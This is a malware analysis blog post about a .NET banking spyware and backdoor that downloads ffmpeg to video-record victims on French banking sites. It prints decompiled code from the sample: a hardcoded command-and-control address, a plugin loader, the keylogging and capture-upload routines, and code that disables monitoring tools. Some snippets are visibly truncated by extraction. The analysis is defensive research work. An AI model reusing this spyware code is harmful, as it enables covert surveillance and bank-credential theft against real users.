A .NET malware abusing legitimate ffmpeg

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There is a growing trend among malware authors to incorporate legitimate applications in their malicious package. This time, we analyzed a malware downloading a legitimate <u>ffmpeg</u>. Using this application, this simple spyware written in .NET got a powerful feature. Most of the malware is sufficient with sending screenshots, made periodically on the infected machine. This malware goes a step further and records full videos, spying on user activities. In this post, we will have a look at this and the other threats possessed by this sample.

The mentioned malware family was first <u>discovered in 2015 by MalwarHunterTeam</u>. Recently a new wave is being spread.

Analyzed samples

Downloaded plugins:

- e907ebeda7d6fd7f0017a6fb048c4d23 remotedesktop.dll
- <u>d628d2a9726b777961f2d1346f988767</u> processmanager.dll

Behavioral analysis

The JS file drops the contained executable inside the %TEMP% folder and then runs it. The executable installs itself under the random name, creating its own folder in %APPDATA%. Persistence is achieved with the help of run key. Additional copy of the malware is also dropped in the startup folder:



During it's run, the executable creates .tmp files inside it's installation folder. File content is not encrypted and if we look inside we can notice that it is saving keystrokes and logging the running applications:

```
🛃 bgbgc.exe.tmp (417 bytes) - BareTail
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🗁 Open 🥔 Highlighting 🔽 Follow Tail
                                  ANSI
                                                      C:\Users\tester\AppData\Roaming\nocki\bgbgc.exe.tmp (417 bytes)
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   12-06-17 16:36 dnSpy dnSpy 3.0.2 (x86, Debugging)
  writing[ENTER]
```

Another interesting thing we noted is, that the malware downloads legitimate applications: <u>*Rar.exe, ffmpeg.exe*</u> and related DLLs: <u>*DShowNet.dll, DirectX.Capture.dll*</u>

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Share with 👻 New folder			•		
Name	Date modified	Туре	Size		
📧 bgbgc.exe	2017-06-12 15:51	Application	141 KB		
bgbgc.exe.tmp	2017-06-19 15:10	TMP File	0 KB		
DirectX.Capture.dll	2017-06-19 15:08	Application extens	52 KB		
ShowNET.dll	2017-06-19 15:08	Application extens	60 KB		
🖇 ffmpeg.exe	2017-06-19 15:09	Application	17 190 KB		
Rar.exe	2017-06-19 15:08	Application	395 KB		

The malware has been observed closing and deleting some applications while it is running. During the tests, it removed i.e. *ProcessExplorer* and *baretail* from the attacked machine.

Network communication

The malware communicates with the CnC server over TCP using port 98.

The server sends to the client a command "idjamel" and the client responds with the basic info collected about the victim machine, such as machinename/username, the operating system installed, and a list of running processes. After the beaconing, the server sends to the client the configuration, i.e. list of the targeted banks.



Bot saves the configuration in the registry:

•	Name	Туре	Data	
	(Default)	REG_SZ	(value not set)	
E	ab) bins	REG_SZ	4970;4974;4974;4979;4978;4973;5130;5131;5134;4035;4150;4972;4971;5136;5612;4562;5301;4977;4533;4975;4976;Mutuel;5135;3746;3749;4035;4056;4	
	ab ve	REG_SZ	La Banque Postale;Espace Bourse;AUTH;Société Générale,BNP	
	ab veTime	REG_SZ	120000	
	ab) vn	REG_SZ	bolk	
-	abwe	REG_SZ	PayPal=Paypal;eCBL=e-Carte Bleue WEB;e-cartebleue=e-Carte Bleue WEB;ersion Nomade - a Banque Postale=e-Carte Bleue WEB;BNP Net Ent	
Computer\HKEY_CURRENT_USER\Software				

After that, the CnC sends a set of Base64 encoded PE files. The content of each file is prepended by its name. The non-malicious helper binaries cab be identified by the keyword: "djamelreference". Malicious plugins are identified by "djamelplugin".

Downloading DShowNET.dll:



The *ffmpeg* application is downloaded from the URL (pointed by the CnC):

```
.
GET /ffmpeg.exe HTTP/1.1
Host: 82.165.146.36
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Sat, 09 Feb 2013 15:31:38 GMT
Accept-Ranges: bytes
ETag: "029168dda6ce1:0"
Server: Microsoft-IIS/10.0
Date: Tue, 20 Jun 2017 10:23:11 GMT
Content-Length: 17602048
.!..L.!This program cannot be run in DOS
. . . . . . . . . .
mode.
$...L.
```

Following the address we can see some dummy page, that may possibly be owned by the attackers. The Facebook like button points to the account "AnonymousBr4zil":



The bot reports to the server about the running applications, i.e. sending the text from the title bars encoded in Base64:

```
AAAAAAAAAAAAAAA||54djamelawt||UHJvYmxlbSB3aXRoIFNob3J0Y3V0djamelawt||

QzpcVXNlcnNcdGVzdGVyXERlc2t0b3BcU3lzaW50ZXJuYWxzU3VpdGU=djamelawt||

QzpcVXNlcnNcdGVzdGVyXEFwcERhdGFcUm9hbWluZw==djamelawt||

UHJvZ3JhbSBNYW5hZ2Vydjamelawt||

QzpcVXNlcnNcdGVzdGVyXERlc2t0b3BcU3lzaW50ZXJuYWxzU3VpdGU=djamelawt||

U3RhcnQgbWVudQ==djamelawt||UHJvZ3JhbSBNYW5hZ2Vydjamelawt||

VW50aXRsZWQgLSB0b3RlcGFkdjamelawt||

QzpcVXNlcnNcdGVzdGVyXERlc2t0b3BcU3lzaW50ZXJuYWxzU3VpdGU=djamelawt||

T3BlbiBGaWxlIC0gU2VjdXJpdHkgV2FybmluZw==djamelawt||

QzpcVXNlcnNcdGVzdGVyXERlc2t0b3BcU3lzaW50ZXJuYWxzU3VpdGU=djamelawt||

I3BlbiBGaWxlIC0gU2VjdXJpdHkgV2FybmluZw==djamelawt||

QzpcVXNlcnNcdGVzdGVyXERlc2t0b3BcU3lzaW50ZXJuYWxzU3VpdGVcVGNwdmNvbi5leGU=djamelawt

|QzpcVXNlcnNcdGVzdGVyXERlc2t0b3BcU3lzaW50ZXJuYWxzU3VpdGU=djamel
```

Example:

awt||UHJvY2VzcyBFeHBsb3JlciAtIFN5c2ludGVybmFsczogd3d3LnN5c2ludGVybmFscy5jb20gW3Rlc3RtY

Decoded:

Process Explorer - Sysinternals: www.sysinternals.com [testmachine\tester]

Inside

Unpacking

The sample is packed with the help of <u>CloudProtector</u> – (thanks to <u>@MalwareHunterTeam</u> for the tip). It is the same protector that was used in some other cases that we analyzed earlier (read more <u>here</u>). Just like in the previous case, it decrypts the payload using the custom algorithm and the key supplied in the configuration. Then, decrypted executable is loaded in the memory with the help of the RunPE technique (also known as ProcessHollowing).



The core

The unpacked payload is the layer containing all the malicious features. It is not further obfuscated, so we can easily decompile it (i.e. using dnSpy) and read the code.

We can see some classes with descriptive names, i.e. ProtectMe, ScreemCapture, SocketClient.



At the first sight, we can see the purpose of this malware: spying the user and backdooring the infected machine.

The class Form1 is the main module, responsible for communicating with the CnC and coordinating actions. It contains hardcoded data used for the malware installation and the address of the CnC server:

37.187.92.171:98

```
public Form1()
{
    Class0.SLV0fFIsptsZtjvFft17();
    base..ctor();
    base.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
    base.Load += new EventHandler(this.Form1_Load);
    this.host = "37.187.92.171";
    this.port = 98;
    this.VictimeName = "bolk";
    this.MyAppFolderName = "nocki";
    this.MyAppFileName = "bgbgc.exe";
    this.RegeditKeyName = "bnhyuj";
    this.FileStartupName = "vfrtd.exe";
```

The victim name is copied from the binary and saved in the registry key:

ab vn REG_SZ bolk

In case the bot detected a software for e-Carte Bleue (a French payment card), it adds the corresponding string to the identifier, and also sends additional information to the server:

```
object CheckFiles()
```

```
string text = Conversions.ToString(Environment.GetFolderPath(Environment.SpecialFolder.Desktop)[0]) + ":\\Program Files (x86)";
string text2 = Conversions.ToString(Environment.GetFolderPath(Environment.SpecialFolder.Desktop)[0]) + ":\\Program Files";
string path;
if (Directory.Exists(text))
{
        path = text;
}
else
{
       path = text2;
}
string text3 = ""
string[] directories = Directory.GetDirectories(path);
checked
{
        // make a string containing names of all the directories in Program Files
        for (int i = 0; i < directories.Length; i++)</pre>
        {
                string str = directories[i];
                text3 = text3 + "\r\n" + str;
       }
}
// is e-Carte Bleue found in Program Files?
        if (text3.Contains("e-Carte Bleue"))
        {
                if (!this.RegRead("vn").Contains("e-Carte Bleue Software"))
                {
                         string text4 = this.RegRead("vn");
                        text4 +=
                                                      oftware";
                        this.RegWrite("vn", text4);
this.Sending.Send("vn"));
```

Each module runs independently, started in a new thread:

```
public void StartConnect()
    try
        Form1.kg = new kyl();
        Thread thread = new Thread(new ThreadStart(Form1.kg.hera), 1);
        thread.Start();
   catch (Exception arg_2A_0)
        ProjectData.SetProjectError(arg_2A_0);
        ProjectData.ClearProjectError();
    3
   try
        ProtectMe @object = new ProtectMe();
        Control.CheckForIllegalCrossThreadCalls = false;
        Thread thread2 = new Thread(new ThreadStart(@object.protect));
        thread2.Start();
   catch (Exception arg_5D_0)
        ProjectData.SetProjectError(arg_5D_0);
        ProjectData.ClearProjectError();
   this.Bin.Enabled = true;
   this.WinTitle.Enabled = true;
   this.Startup.Enabled = true;
   this.CheckFiles();
   base.Invoke(new Form1.OpenObject(this.StartVideoChecking));
   Thread thread3 = new Thread(new ThreadStart(this.startControlConnexion));
    thread3.Start();
```

Video recording

We can see the fragment of code responsible for downloading the ffmpeg application:



The main goal of the malware authors is to spy on user's banking activities. That's why, the video recording event is triggered when the victim opens a particular site, related to online banking. The list of targets is supplied by the CnC and saved in the registry under the key "ve", for example:

by REG_SZ La Banque Postale;Espace Bourse;AUTH;Société Générale,BNP

Periodically, the check is made, whether the target from the list has been open in the browser. In case if it was detected, the malware deploys video recorder:

```
{
       try
       {
              string text = this.RegRead("ve");
              string[] array = text.Split(new char[]
              {
              });
              int num = array.Length - 1;
              for (int i = 0; i <= num; i++)</pre>
              {
                      bool flag = false;
                      if (this.VerifingTime("firefox", array[i]))
                      {
                             flag = true;
                      if (this.VerifingTime("chrome", array[i]))
                      {
                             flag = true;
                      if (this.VerifingTime("opera", array[i]))
                      {
                             flag = true;
                      if (this.VerifingTime("iexplore", array[i]))
                      {
                             flag = true;
                      if (flag)
                      {
                             this.VideoWinTitle.Enabled = false;
                             Form1.NowTime = this.TimeNow();
                             this.VideoName = this.CaptureDir + Form1.NowTime + ".mp4";
                             this.VideoRecordingTimer.Interval = Conversions.ToInteger(this.RegRead("veTime"));
                             this.VideoRecordingTimer.Enabled = true;
                             this.StartRecord();
                             this.Sending.Send("x||" + array[i]);
```

The function "VeifyingTime" compares the title bar with the supplied string.

```
public bool VerifingTime(string string_0, string string_1)
{
    int num = 0;
    Process[] processesByName = Process.GetProcessesByName(string_0);
    checked
    {
        for (int i = 0; i < processesByName.Length; i++)
        {
            Process process = processesByName[i];
            if (process.MainWindowTitle.Contains(string_1))
            {
                num = 1;
                }
            return num != 0;
        }
}</pre>
```

Videos are recorded with the help of the *ffmpeg* application:

```
void StartRecord()
 if (Module1.bmp != null)
 {
         Module1.bmp.Dispose();
         Module1.bmp = null;
 }
Module1.bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
 Application.DoEvents();
 try
 {
         if (!Directory.Exists(this.CaptureDir))
         {
                 Directory.CreateDirectory(this.CaptureDir);
                 FileAttribute fileAttributes = FileAttribute.Normal;
                 File.SetAttributes(this.CaptureDir, (FileAttributes)fileAttributes);
         this.proc.StartInfo.FileName = Application.StartupPath + "\\ffmpeg.exe";
         this.proc.StartInfo.Arguments =
                                   2pipe -i pipe:.bmp -pix_fmt yuv420p -c:v libx264 -an -bufsize 60000k -b:v 1800k -y -threads 2 "
                 + this.VideoName;
         this.proc.StartInfo.UseShellExecute = false;
         this.proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
         this.proc.StartInfo.RedirectStandardInput = true;
         this.proc.StartInfo.RedirectStandardOutput = true;
         this.proc.StartInfo.CreateNoWindow = true;
         this.proc.Start();
         this.recording = 1
         this.VideoBackgroundWorker.RunWorkerAsync();
```

After that they are sent to the CnC, encoded in Base64:

The malware also has a feature of making simple screenshots, saved as JPG. The pictures and the captured logs are periodically compressed by the Rar application, and then also sent to the CnC:

```
if (this.ScreenImagesNumber == 31)
{
       this.ScreenImages.Enabled = false;
       try
       {
               string path = this.ImagesFolder() + "\\logs.txt";
               StreamWriter streamWriter = new StreamWriter(path);
               streamWriter.Write(Form1.kg.Logs);
               streamWriter.Close();
       }
       catch (Exception arg 4B 0)
       {
               ProjectData.SetProjectError(arg 4B 0);
               ProjectData.ClearProjectError();
       }
try
       {
               // compress the screen captures:
               byte[] bytes = Convert.FromBase64String("XFJhci5leGUgYSA="); //"\Rar.exe a "
               Interaction.Shell(string.Concat(new string[]
               {
                       Application.StartupPath,
                       Encoding.Default.GetString(bytes),
                       this.ImagesFolder(),
                        .rar ",
                       this.ImagesFolder()
               }), AppWinStyle.Hide, false, -1);
               this.ScreenImagesNumber = 32;
               this.ScreenImages.Interval = 2000;
               this.ScreenImages.Enabled = true;
               return;
       }
```

Keylogger

The kyl class name stands for keylogger:



It has also the ability to enumerate opened windows:



This is the class responsible for creating the .tmp file that was mentioned before:



Protect Me

This class is responsible for disabling the applications that may be used to monitor malware's activity:

```
Process processById = Process.GetProcessById(num);
if (Operators.CompareString(processById.ProcessName.ToLower(), "taskmgr", false) == 0
          Operators.CompareString(processById.ProcessName.ToLower(), "processhacker", false) == 0
Operators.CompareString(text.ToLower(), "process explorer", false) == 0
Operators.CompareString(text.ToLower(), "currports", false) == 0)
{
         List<IntPtr> list = new List<IntPtr>();
         int num2 = 0;
         IntPtr[] child = this.GetChild(foregroundWindow);
         for (int i = 0; i < child.Length; i++)</pre>
         {
                  IntPtr intPtr = child[i];
                  string text2 = Strings.Space(200);
                  int classNameA = ProtectMe.GetClassNameA((int)intPtr, ref text2, 200);
                  text2 = text2.Remove(classNameA, 200 - classNameA);
                  if (Operators.CompareString(text2.ToLower(), "button", false) == 0)
                  {
                           list.Add(intPtr);
                  if (Operators.CompareString(text2.ToLower(), "static", false) == 0
                            Operators.CompareString(text2.ToLower(), "directuihwnd", false) == 0)
                  {
                           num2++;
                  }
         if (list.Count == 2 & (num2 == 2 | num2 == 1))
         {
                  ProtectMe.EnableWindow(list[0], false);
                  int wnd = (int)list[0];
                  int msg = 1
                  int arg 1D8 2 = 0;
                  string text3 = "OK";
                  ProtectMe.SendMessageA(wnd, msg, arg 1D8 2, ref text3);
         }
}
```

Plugins

The basic functionality of the bot can be extended by additional plugins, downloaded from the CnC:

```
public object Plugin(string string_0, string string_1)
{
    byte[] rawAssembly = Convert.FromBase64String(string_0);
    Assembly assembly = Assembly.Load(rawAssembly);
    Type type = assembly.GetType(string_1);
    return RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type));
}
```

In the observed case, the bot downloaded two plugins, giving to it capabilities typical for a RAT:

processmanager.dl, written in 2015:

```
[assembly: AssemblyCompany("")]
[assembly: AssemblyCopyright("Copyright © 2015")]
[assembly: AssemblyProduct("processmanager")]
[assembly: CompilationRelayations(8)]
```

and remotedesktop.dll, written in 2016:



In contrary to the main module and the previous plugin, the *remotedesk.dll* is obfuscated. Names of its classes and variables are no longer meaningful:



Conclusion

This malware is prepared by an unsophisticated actor. Neither the binary nor the communication protocol is well obfuscated. The used packer is well-known and easy to defeat. However, the malware is rich in features and it seems to be actively maintained. It's capabilities of spying on the victim and backdooring the attacked machine should not be taken lightly because even a simple threat actor can cause a lot of damage when neglected.

This malware is detected by <u>Malwarebytes</u> as *Backdoor.DuBled*.